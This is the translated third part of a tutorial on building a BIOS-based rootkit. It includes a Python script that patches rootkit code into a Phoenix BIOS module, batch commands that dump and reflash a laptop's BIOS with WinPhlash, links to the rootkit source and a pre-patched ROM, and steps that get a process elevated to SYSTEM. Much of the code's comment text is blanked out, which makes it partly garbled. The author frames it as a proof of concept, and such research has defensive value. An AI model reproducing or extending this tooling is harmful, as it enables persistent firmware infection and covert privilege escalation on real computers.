基于BIOS的rootkit。第三部分

我们将发布翻译的最后部分,该部分是在“逆向工程”基础高级课程开始前夕编写的














解压和修补BIOS



现在我们知道了如何将rootkit注入到BIOS中,下一步是使用rootkit代码实际对BIOS进行修补。为此,我们需要提取所有BIOS模块,修补拆包模块并重建所有内容。可以使用phxdeco控制台实用程序或Phoenix BIOS编辑器提取模块。解压缩模块解压缩后,以下代码将使用我们的rootkit对其进行修补:



#!/usr/bin/python
import os,struct,sys
###############################################
#      BIOS -   
#  Phoenix BIOS Editor ( Windows)    ,   ,    «DECOMPC0.ROM».
#     C:\Program Files\Phoenix Bios Editor\TEMP (   )    BIOS WPH.         .
#   ,  BIOS Editor       BIOS - BIOS Editor    BIOS WPH.
#           phnxdeco.exe,       .
#  ,  NASM   ,    .
#
# INPUT:
#     ,      asm-  BIOS        .
#
# OUTPUT:
#     DECOMPC0.ROM,     ,   , ,    asm-  BIOS.
#    
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#    
shellcode = sys.argv[1].lower()
#     . NASM    ,    !
os.system('nasm %s' % shellcode)
#       
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
#     ,     0x23  ROM  .
# ROM   ,      push,     CLD.            mov.
#       ,       .
#  ,  ,   Near Call,     ROM- ,      .
#     NOP   .
minihook = '\xe8\x28\x04\x90\x90\x90'
#   ,    ,     !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
#  ROM  
decorom = open('DECOMPC0.ROM','rb').read()
#     - 0x23,    CLD

hookoffset=0x23
#     ROM ,  ,    
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#  ROM    NOP.
#    ,    ,   .
decorom+="\x90"*100+decomphook
#   10 NOP  .
decorom=decorom+'\x90'*10
#   ROM,     
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#   ROM    
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#  
print "The DECOMPC0.ROM file has now been patched."




调用此脚本的示例可能是:



python patchdecomp.py biosrootkit.asm




如果一切正常,您应该看到类似以下内容:



Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.




重建BIOS



对于主要的BIOS文件(例如VMware附带的文件),可以使用Phoenix Bios Editor(或Intel提供的)中包含的许多命令行实用程序进行重建。后来,在实际PC上进行测试时,不仅必须将BIOS保存为主要格式,还必须将GUI版本的Phoenix Bios Editor用作重建工具。不幸的是,这意味着至少在不使用提供的工具的情况下,不可能简单地拥有一个可以在系统上运行的应用程序来感染BIOS。



这意味着BIOS感染是一个三步过程,需要一些手动干预,主要是重新组装。带有打开的BIOS映像的Phoenix BIOS编辑器如下所示:







Phoenix BIOS Editor并不是为了替换模块而开发的,但是仍然提供了这样的机会。首次打开BIOS映像时,所有BIOS模块都将提取到磁盘中位于的文件夹中C:\Program Files\Phoenix BIOS Editor\TEMP\可以从此文件夹复制拆包模块,进行固定和更换。Phoenix BIOS Editor不会让您保存BIOS不变,因此要保存BIOS,我们必须更改一些字符串值,然后再将其更改回(或以这种方式保留)。



如果您想自己全部操作,则可以从本文末尾的链接下载BIOS rootkit源代码和修补脚本。



真实电脑



在所有基于VMware的设计中都使用了Phoenix BIOS,因此也选择它在物理PC上进行测试。所有物理(相对于虚拟)BIOS测试都是使用HP Pavilion ze4400笔记本电脑进行的。最初,BIOS测试是计划使用PC而不是笔记本电脑进行的,因为如果需要的话,访问PC主板进行刷新会容易得多。无论如何,要快速找到具有Phoenix BIOS的PC并不容易,所以我不得不改用笔记本电脑(特别感谢David在我不小心将源代码写入BIOS后刷新了笔记本电脑!)



在PC上提取BIOS



修改实际系统BIOS的第一步是提取其副本。 Phoenix具有通常为此目的提供的两种不同的工具,一种称为“ Phlash16”,另一种称为“ WinPhlash”。 Phlash16是一个命令行实用程序(带有控制台GUI),但是只能从DOS运行。顾名思义,WinPhlash从Windows运行。尽管它是一个GUI实用程序,但它也接受命令行参数,这使我们能够自动执行BIOS提取过程。对于这个项目,我创建了几个脚本来自动执行BIOS提取和修补,但是它们相当原始,几乎没有功能。



以下批处理脚本会将BIOS复制到一个名为的文件中BIOSORIG.WPH,然后检查它是否先前已被修改。 Perl脚本CheckFlash.py 只需检查BIOS的内容以获取我的名字,该名字就不在任何未修改的BIOS中。



@rem    BIOS  ,     .
@rem 
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem ,   BIOS  
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH




在PC上解压和修补BIOS



提取BIOS后,下一步是使用我们的rootkit代码对其进行修补。可以使用上面各节中用于VMware的相同脚本来完成此操作。该项目的目标是创建尽可能一致的补丁程序和补丁程序。我非常高兴它证明是完全可行的,因此可以将相同的工具用于在相同类型的BIOS上运行的完全不同的硬件。



在PC上重建BIOS



尽管有一个免费工具可以从Phoenix BIOS中提取模块,但看起来只有Phoenix Bios Editor才能按照典型PC的要求组装它们。 WinPhlash工具需要在BIOS中启用其他信息,并将其与原始BIOS一起存储在WPH文件中。在测试了许多不同的选项之后,似乎成功构建WPH文件的唯一方法是使用Phoenix Bios Editor GUI。不幸的是,这意味着不可能简单地拥有一个可以在系统上运行的应用程序来感染BIOS,至少在不使用提供的工具的情况下。



从理论上讲,应该可以对WPH格式进行反向工程并创建自定义的BIOS重组工具,但这不在本项目的范围之内。相反,感染BIOS是一个三步过程,需要一些手动干预,主要是重建。



与修补VMware BIOS一样,您可以使用相同的技术让Phoenix BIOS Editor重建修补后的模块。首次打开BIOS映像时,所有BIOS模块都将提取到磁盘中位于以下位置的文件夹中C:\Program Files\Phoenix BIOS Editor\TEMP\... 可以从此文件夹复制解压缩模块,进行修补和替换。Phoenix BIOS Editor不允许您保存BIOS不变,因此您需要更改一些字符串值,然后将其放回(或以这种方式保留)以保存BIOS。



BIOS刷新



将BIOS重建为WPH文件后,以下批处理脚本会将新的BIOS映像移至BIOS EEPROM,然后重新引导计算机以使更改生效:



@rem       "BIOSPATCHED.WPH"  BIOS   ,  .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH




笔记本电脑上的修改结果



将所有先前的工作放在一起,下面显示了如何将BIOS代码移植到便携式计算机(由上述infect.bat脚本启动):







刷新完成后,BIOS rootkit成功启动并引导到Windows内核。以下屏幕快照显示了一个命令行,该命令行最初以普通用户身份运行,然后在30秒后提升了其特权:







这表明BIOS rootkit具有足够的可移植性,可以在多个系统(VMware,HP便携式计算机)上运行,并且感染机制是正常运作。



为此项目开发的“ rootkit”仅完成一项简单的任务,但是正如有关Vbootkit2软件所指出的那样,没有理由不能向其添加其他功能。该项目具有Phoenix BIOS,并且Phoenix BIOS与其他制造商的BIOS之间可能有许多相似之处。尽管可能需要为每个供应商分别编写代码,但是代码并不多,因此建议将rootkit的功能扩展到所有常见的供应商。



在引言中,我指出,新的BIOS功能(如签名更新)构成了此处所述的大部分内容,而对安全性的威胁则要少得多。这当然很值得一提,但是也要记住,“过时”的计算机要比“新”计算机多,因此这种攻击在很长一段时间内仍然是一个问题。



VMware BIOS演示和源代码



提供以下源代码和经过修订的BIOS作为概念证明。我绝不是建议人们将其用于任何恶意目的,而是要证明这种攻击在较旧的BIOS配置中是完全可行的。我认为将这项工作保持现状并将其转变为任何可行的恶意软件都是不现实的,因此,我将此代码发布到了Internet上。



如前几节所述,此代码应可用于修补大多数Phoenix BIOS。修补程序脚本可以在这里下载:



BIOS_Based_Rootkit_Patch_Scripts.zip



BIOS rootkit源代码可以在此处下载:



biosrootkit.asm



您需要NASM如果您使用上述脚本/源代码,则可以编译BIOS修补代码。为了使NASM成功工作,请添加到path变量或更新修补脚本以获取其绝对路径。您还需要Phoenix BIOS Editor的副本或免费的等效版本,才能将拆包器放回完整的BIOS中。



如果您不想自己编译所有内容,而只是想了解一下我得到的内容,可以在此处下载用于VMware的修补BIOS:



BIOS_rootkit_demo.ROM



使用概念证明和注释



如果您不想阅读上述所有工作,这里有一个尝试方法及其作用的摘要。



  • 首先BIOS_rootkit_demo.ROM从上面的链接下载图像
  • , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
  • WinXP, , , .vmx (, WindowsXP.vmx ) . , : bios440.filename = "BIOS_rootkit_demo.ROM". , BIOS_rootkit_demo.ROM , .
  • , pwn.exe (, cmd.exe).
  • 等待30秒钟,然后启动任务管理器。现在,它Pwn.exe应该以“ SYSTEM”用户身份运行,而不是以您登录XP的用户身份运行。




上面的步骤应该在理想的世界中起作用。然而,作为测试的结果,确定了以下带有铃鼓的舞蹈!



  • 操作系统不稳定。有时,在加载或关闭应用程序时,pwn.exeWindows会发出BSOD。
  • 如果您在30s特权升级时间之前将其打开,则任务管理器将欺骗您的进程的用户。使用类似cmd的whoami来正确检查您的权限。
  • 尽管我已经成功地将其下载到了真实的PC,但如果您这样做也不会对结果承担任何责任。我很想知道如果发生这种情况,您将如何以某种荒谬的方式使主板变砖,但我可能对您的后果没有帮助!测试需要您自担风险!




如果您只想观看视频,请观看Colin在YouTube上发布的视频: 我建议您在VMware上实际尝试一下,看看如何擦拭硬盘无法解决任何问题并且您的系统仍然感到惊奇,这会更加有趣!










All Articles